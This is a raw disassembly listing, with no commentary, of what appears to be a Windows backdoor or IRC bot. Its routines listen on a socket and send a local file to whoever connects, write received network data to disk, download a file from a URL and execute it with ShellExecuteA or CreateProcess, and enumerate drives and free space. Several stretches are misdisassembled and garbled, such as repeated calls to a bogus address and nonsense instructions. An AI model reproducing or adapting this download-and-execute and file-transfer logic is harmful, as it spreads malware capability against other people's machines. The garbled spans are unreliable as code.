push eax
call sub_40B4AF
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40B5C8
lea eax, [ebp-11B4h]
push offset dword_42BAC4
push eax
call sub_4154CD
xor edi, edi
pop ecx
cmp [ebp-8], edi
pop ecx
jnz short loc_40B5AB
push edi
lea eax, [ebp-11B4h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-94h]
push eax
push ebx
call sub_412D32
add esp, 14h
loc_40B5AB: ; CODE XREF: seg000:0040B58Ej
lea eax, [ebp-11B4h]
push eax
call sub_40B151
push dword ptr [ebp-10h]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
inc esi
loc_40B5C8: ; CODE XREF: seg000:0040B574j
push offset byte_438F9C
push ebx
call sub_40A7E1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40B633
lea eax, [ebp-11B4h]
push offset dword_42BA80
push eax
call sub_4154CD
xor edi, edi
pop ecx
cmp [ebp-8], edi
pop ecx
jnz short loc_40B60F
push edi
lea eax, [ebp-11B4h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-94h]
push eax
push ebx
call sub_412D32
add esp, 14h
loc_40B60F: ; CODE XREF: seg000:0040B5F2j
lea eax, [ebp-11B4h]
push eax
call sub_40B151
pop ecx
push ebx
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-10h]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
push edi
loc_40B633: ; CODE XREF: seg000:0040B5D8j
push 64h
call ds:dword_421060 ; Sleep
xor edi, edi
mov esi, 1000h
loc_40B642: ; CODE XREF: seg000:0040B69Dj
push esi
lea eax, [ebp-11B4h]
push edi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp-11B4h]
push edi
push esi
push eax
push ebx
call ds:dword_43A390 ; recv
test eax, eax
jle short loc_40B69F
lea eax, [ebp-11B4h]
push offset asc_426C7C ; "\n"
push eax
call sub_415BF0
lea eax, [ebp-11B4h]
push eax
call sub_40A5CD
add esp, 0Ch
test eax, eax
jz short loc_40B69F
push 64h
call ds:dword_421060 ; Sleep
push 7
call sub_4151C1
test eax, eax
pop ecx
jnz short loc_40B642
loc_40B69F: ; CODE XREF: seg000:0040B665j
; seg000:0040B689j
lea eax, [ebp-11B4h]
push offset dword_42BA38
push eax
call sub_4154CD
cmp [ebp-8], edi
pop ecx
pop ecx
jnz short loc_40B6D2
push edi
lea eax, [ebp-11B4h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-94h]
push eax
push ebx
call sub_412D32
add esp, 14h
loc_40B6D2: ; CODE XREF: seg000:0040B6B5j
lea eax, [ebp-11B4h]
push eax
call sub_40B151
pop ecx
push ebx
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-10h]
call sub_415295
pop ecx
push edi
call near ptr 3D0000h
mov edx, [ebp-75h]
in al, dx
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call ds:dword_43A3F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_40B744
push offset dword_42BC64
jmp loc_40B8FD
; ---------------------------------------------------------------------------
loc_40B744: ; CODE XREF: seg000:0040B738j
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_415550
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call ds:dword_43A378 ; ntohs
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call ds:dword_43A3A4 ; bind
test eax, eax
jz short loc_40B782
push offset dword_42BC2C
jmp loc_40B8FD
; ---------------------------------------------------------------------------
loc_40B782: ; CODE XREF: seg000:0040B776j
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call ds:dword_43A31C ; getsockname
push dword ptr [ebp-2Eh]
call ds:dword_43A2B4 ; ntohs
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_415CD0
pop ecx
loc_40B7B4: ; CODE XREF: seg000:0040B7E5j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_40B7C7
push 5Fh
pop eax
jmp short loc_40B7CA
; ---------------------------------------------------------------------------
loc_40B7C7: ; CODE XREF: seg000:0040B7C0j
movsx eax, al
loc_40B7CA: ; CODE XREF: seg000:0040B7C5j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_415CD0
cmp [ebp+8], eax
pop ecx
jbe short loc_40B7B4
push ebx
push edi
call ds:dword_43A3A0 ; listen
test eax, eax
jz short loc_40B7FD
push offset dword_42BAC4
jmp loc_40B8FD
; ---------------------------------------------------------------------------
loc_40B7FD: ; CODE XREF: seg000:0040B7F1j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
call ds:dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_40B827
push offset dword_42BBF8
jmp loc_40B8FD
; ---------------------------------------------------------------------------
loc_40B827: ; CODE XREF: seg000:0040B81Bj
push esi
push eax
call near ptr 3D0000h
mov eax, ds:50084589h
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40A155
pop ecx
push eax
call ds:dword_43A3B8 ; inet_addr
push eax
call ds:dword_43A374 ; ntohl
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_42BBE0
push eax
call sub_4154CD
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_412D32
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call ds:dword_43A360 ; select
test eax, eax
jg short loc_40B8D7
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_42BBB4
push eax
push dword ptr [ebp-1FCh]
call sub_412D32
jmp loc_40B9FB
; ---------------------------------------------------------------------------
loc_40B8D7: ; CODE XREF: seg000:0040B8B5j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call ds:dword_43A40C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_40B910
push offset dword_42BB7C
loc_40B8FD: ; CODE XREF: seg000:0040B73Fj
; seg000:0040B77Dj ...
lea eax, [ebp-3FCh]
push eax
call sub_4154CD
pop ecx
pop ecx
jmp loc_40B9FE
; ---------------------------------------------------------------------------
loc_40B910: ; CODE XREF: seg000:0040B8F6j
push edi
call ds:dword_43A410 ; closesocket
cmp [ebp+8], esi
jz loc_40B9C2
mov edi, 400h
loc_40B925: ; CODE XREF: seg000:0040B9B9j
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_40B932
mov [ebp-4], eax
loc_40B932: ; CODE XREF: seg000:0040B92Dj
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_415550
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
call ds:dword_4210AC ; SetFilePointer
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
call ds:dword_421068 ; ReadFile
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call ds:dword_43A3C8 ; send
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call ds:dword_43A390 ; recv
cmp eax, ebx
jl near ptr loc_40BA56+1
mov eax, [ebp-4]
cmp eax, ebx
jl near ptr loc_40BA56+1
sub [ebp+8], eax
jnz loc_40B925
mov edi, [ebp-18h]
loc_40B9C2: ; CODE XREF: seg000:0040B91Aj
push dword ptr [ebp-8]
call ds:dword_42106C ; CloseHandle
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_40C1FC
pop ecx
pop ecx
push eax
lea eax, [ebp-1E0h]
push eax
push dword ptr [ebp-44h]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp-3FCh]
push offset dword_42BB28
push eax
call sub_4154CD
loc_40B9FB: ; CODE XREF: seg000:0040B8D2j
add esp, 14h
loc_40B9FE: ; CODE XREF: seg000:0040B90Bj
cmp [ebp-50h], esi
jnz short loc_40BA23
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_412D32
add esp, 14h
loc_40BA23: ; CODE XREF: seg000:0040BA01j
lea eax, [ebp-3FCh]
push eax
call sub_40B151
cmp edi, esi
pop ecx
jbe short loc_40BA3B
push edi
call ds:dword_43A410 ; closesocket
loc_40BA3B: ; CODE XREF: seg000:0040BA32j
push dword ptr [ebp-1F8h]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-58h]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
loc_40BA56: ; CODE XREF: seg000:0040B9A5j
; seg000:0040B9B0j
sub [esi-42h], dl
cld
mov edx, 75FF0042h
lodsb
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_412D32
push esi
call sub_40B151
add esp, 18h
push dword ptr [ebp-1F8h]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-58h]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
aam 55h
mov ebp, esp
mov eax, 14C4h
call sub_415D50
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 3D0000h
xchg eax, ebp
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset aSS_2 ; "%s%s"
push eax
call sub_4154CD
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_40BB22
push offset dword_42BD6C
jmp short loc_40BB68
; ---------------------------------------------------------------------------
loc_40BB22: ; CODE XREF: seg000:0040BB19j
push eax
call ds:dword_42106C ; CloseHandle
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_415BC8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_40BB4A
push offset dword_42BD28
jmp short loc_40BB68
; ---------------------------------------------------------------------------
loc_40BB4A: ; CODE XREF: seg000:0040BB41j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_40B4AF
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_40BB7B
push offset dword_42BCF4
loc_40BB68: ; CODE XREF: seg000:0040BB20j
; seg000:0040BB48j
lea eax, [ebp-4C4h]
push eax
call sub_4154CD
pop ecx
pop ecx
jmp loc_40BC75
; ---------------------------------------------------------------------------
loc_40BB7B: ; CODE XREF: seg000:0040BB61j
mov esi, 1000h
loc_40BB80: ; CODE XREF: seg000:0040BBE6j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_43A390 ; recv
mov edi, eax
cmp edi, ebx
jz near ptr loc_40BC46+1
cmp edi, 0FFFFFFFFh
jz short loc_40BBE8
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_4175DF
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call ds:dword_43A374 ; ntohl
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call ds:dword_43A3C8 ; send
jmp short loc_40BB80
; ---------------------------------------------------------------------------
loc_40BBE8: ; CODE XREF: seg000:0040BBB0j
lea eax, [ebp-4C4h]
push offset dword_42BAFC
push eax
call sub_4154CD
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_412D32
lea eax, [ebp-4C4h]
push eax
call sub_40B151
push dword ptr [ebp-4]
call sub_415B20
add esp, 24h
push dword ptr [ebp+8]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-1Ch]
call sub_415295
pop ecx
push 1
call near ptr 3D0000h
loc_40BC46: ; CODE XREF: seg000:0040BBA7j
add eax, 99F8458Bh
push edx
push eax
call sub_40C1FC
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-4C4h]
push offset dword_42BC9C
push eax
call sub_4154CD
add esp, 1Ch
loc_40BC75: ; CODE XREF: seg000:0040BB76j
cmp [ebp-14h], ebx
jnz short loc_40BC9A
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_412D32
add esp, 14h
loc_40BC9A: ; CODE XREF: seg000:0040BC78j
lea eax, [ebp-4C4h]
push eax
call sub_40B151
cmp [ebp-4], ebx
pop ecx
jz short loc_40BCB5
push dword ptr [ebp-4]
call sub_415B20
pop ecx
loc_40BCB5: ; CODE XREF: seg000:0040BCAAj
cmp [ebp+8], ebx
jbe short loc_40BCC3
push dword ptr [ebp+8]
call ds:dword_43A410 ; closesocket
loc_40BCC3: ; CODE XREF: seg000:0040BCB8j
push dword ptr [ebp-1Ch]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
mov [ebp-75h], dl
in al, dx
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push ds:dword_43A328
call ds:dword_43A288 ; InternetOpenUrlA
cmp eax, esi
mov [ebp-18h], eax
jz loc_40C15F
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
call ds:dword_421078 ; CreateFileA
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_40BD9A
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_42C028
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_40BD7D
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
add esp, 14h
loc_40BD7D: ; CODE XREF: seg000:0040BD5Bj
lea eax, [ebp-510h]
push eax
call sub_40B151
push dword ptr [ebp-48h]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
setalc
loc_40BD9A: ; CODE XREF: seg000:0040BD3Bj
xor edi, edi
call ds:dword_42104C ; GetTickCount
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_415DA9
pop ecx
mov [ebp-1Ch], eax
loc_40BDB4: ; CODE XREF: seg000:0040BE87j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call ds:dword_43A290 ; InternetReadFile
cmp [ebp-34h], esi
jz short loc_40BDF8
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call near ptr loc_40C1C4+1
pop ecx
pop ecx
loc_40BDF8: ; CODE XREF: seg000:0040BDE5j
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
call near ptr 3D0000h
dec ecx
cmp edi, ebx
jnb short loc_40BE36
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_40BE20
mov eax, [ebp+8]
loc_40BE20: ; CODE XREF: seg000:0040BE1Bj
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_4155B0
add esp, 0Ch
loc_40BE36: ; CODE XREF: seg000:0040BE12j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_40BE43
cmp edi, [ebp-3Ch]
ja short loc_40BE8D
loc_40BE43: ; CODE XREF: seg000:0040BE3Cj
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_40BE5D
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_42BFDC
jmp short loc_40BE6D
; ---------------------------------------------------------------------------
loc_40BE5D: ; CODE XREF: seg000:0040BE49j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_42BF98
loc_40BE6D: ; CODE XREF: seg000:0040BE5Bj
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43F308
push eax
call sub_4154CD
add esp, 10h
cmp [ebp+8], esi
ja loc_40BDB4
loc_40BE8D: ; CODE XREF: seg000:0040BE41j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_40BEE2
cmp edi, [ebp-3Ch]
jz short loc_40BEE2
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_42BF50
push eax
call sub_4154CD
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
lea eax, [ebp-510h]
push eax
call sub_40B151
add esp, 28h
loc_40BEE2: ; CODE XREF: seg000:0040BE97j
; seg000:0040BE9Cj
call ds:dword_42104C ; GetTickCount
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_42106C ; CloseHandle
push dword ptr [ebp-1Ch]
call sub_415E1D
cmp [ebp-38h], esi
pop ecx
jz short loc_40BF6C
lea eax, [ebp-148h]
push eax
call sub_40B43D
cmp eax, [ebp-38h]
pop ecx
jz short loc_40BF6C
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_42BF14
push eax
call sub_4154CD
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
lea eax, [ebp-510h]
push eax
call sub_40B151
add esp, 28h
loc_40BF6C: ; CODE XREF: seg000:0040BF14j
; seg000:0040BF26j
cmp [ebp-14h], esi
jz loc_40C1AC
cmp dword ptr [ebp-44h], 1
jz loc_40C067
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul ds:dbl_421660
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul ds:dbl_421660
fstp qword ptr [esp]
push offset unk_42BEC8
push eax
call sub_4154CD
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_40BFE7
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
add esp, 14h
loc_40BFE7: ; CODE XREF: seg000:0040BFC5j
lea eax, [ebp-510h]
push eax
call sub_40B151
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_40C1AC
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call ds:dword_43A2EC ; ShellExecuteA
cmp [ebp-30h], esi
jnz loc_40C1AC
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_42BE90
push eax
call sub_4154CD
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
lea eax, [ebp-510h]
push eax
call sub_40B151
add esp, 24h
jmp loc_40C1AC
; ---------------------------------------------------------------------------
loc_40C067: ; CODE XREF: seg000:0040BF79j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul ds:dbl_421660
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul ds:dbl_421660
fstp qword ptr [esp]
push offset unk_42BE3C
push eax
call sub_4154CD
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_40C0CF
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
add esp, 14h
loc_40C0CF: ; CODE XREF: seg000:0040C0ADj
lea eax, [ebp-510h]
push eax
call sub_40B151
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_415550
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_415550
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_438F9C
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
call near ptr 3D0000h
ffreep st(7) ; (emulator call)
jnz short loc_40C151
call ds:dword_43A2D8 ; WSACleanup
call sub_409DF9
push esi
call ds:dword_421114 ; ExitProcess
loc_40C151: ; CODE XREF: seg000:0040C13Dj
lea eax, [ebp-148h]
push eax
push offset unk_42BDF0
jmp short loc_40C16B
; ---------------------------------------------------------------------------
loc_40C15F: ; CODE XREF: seg000:0040BD18j
lea eax, [ebp-248h]
push eax
push offset unk_42BDB0
loc_40C16B: ; CODE XREF: seg000:0040C15Dj
lea eax, [ebp-510h]
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_40C19F
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_412D32
add esp, 14h
loc_40C19F: ; CODE XREF: seg000:0040C17Dj
lea eax, [ebp-510h]
push eax
call sub_40B151
pop ecx
loc_40C1AC: ; CODE XREF: seg000:0040BF6Fj
; seg000:0040BFF8j ...
push dword ptr [ebp-18h]
call ds:dword_43A3AC ; InternetCloseHandle
push dword ptr [ebp-48h]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
loc_40C1C4: ; CODE XREF: seg000:0040BDF1p
dec byte ptr [ebx+33042444h]
leave
cmp [esp+8], ecx
jle short locret_40C1E1
loc_40C1D1: ; CODE XREF: seg000:0040C1DFj
mov dl, ds:byte_42C164
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+8]
jl short loc_40C1D1
locret_40C1E1: ; CODE XREF: seg000:0040C1CFj
retn
; =============== S U B R O U T I N E =======================================
sub_40C1E2 proc near ; CODE XREF: seg000:0040F775p
; seg000:0040F8CCp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4176E9
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40C1E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1FC proc near ; CODE XREF: seg000:004067F1p
; seg000:0040698Dp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_43E748
push 0
push edi
call sub_415550
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40C221: ; CODE XREF: sub_40C1FC+5Bj
; sub_40C1FC+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_417240
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_4172C0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40C25F
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40C221
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40C221
; ---------------------------------------------------------------------------
loc_40C25F: ; CODE XREF: sub_40C1FC+4Bj
dec esi
mov eax, edi
loc_40C262: ; CODE XREF: sub_40C1FC+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40C271
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40C262
; ---------------------------------------------------------------------------
loc_40C271: ; CODE XREF: sub_40C1FC+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C1FC endp
; =============== S U B R O U T I N E =======================================
sub_40C27B proc near ; CODE XREF: sub_40C427+51p
; sub_40C427+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_43A3D8 ; GetDriveTypeA
sub eax, 0
jz short loc_40C2BE
dec eax
jz short loc_40C2B8
dec eax
dec eax
jz short loc_40C2B2
dec eax
jz short loc_40C2AC
dec eax
jz short loc_40C2A6
dec eax
jz short loc_40C2A0
mov eax, offset word_42B78C
retn
; ---------------------------------------------------------------------------
loc_40C2A0: ; CODE XREF: sub_40C27B+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40C2A6: ; CODE XREF: sub_40C27B+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40C2AC: ; CODE XREF: sub_40C27B+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40C2B2: ; CODE XREF: sub_40C27B+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40C2B8: ; CODE XREF: sub_40C27B+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40C2BE: ; CODE XREF: sub_40C27B+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40C27B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2C4 proc near ; CODE XREF: sub_40C30C+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_43A274
test eax, eax
jz short loc_40C2F9
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_40C2F9: ; CODE XREF: sub_40C2C4+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C2C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C30C proc near ; CODE XREF: sub_40AAB5+1F3p
; sub_40C427+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40C2C4
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40C3E4
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40C3E4
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40C3E4
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_417730
push edx
push eax
call sub_40C1FC
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_415A4A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_417730
push edx
push eax
call sub_40C1FC
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
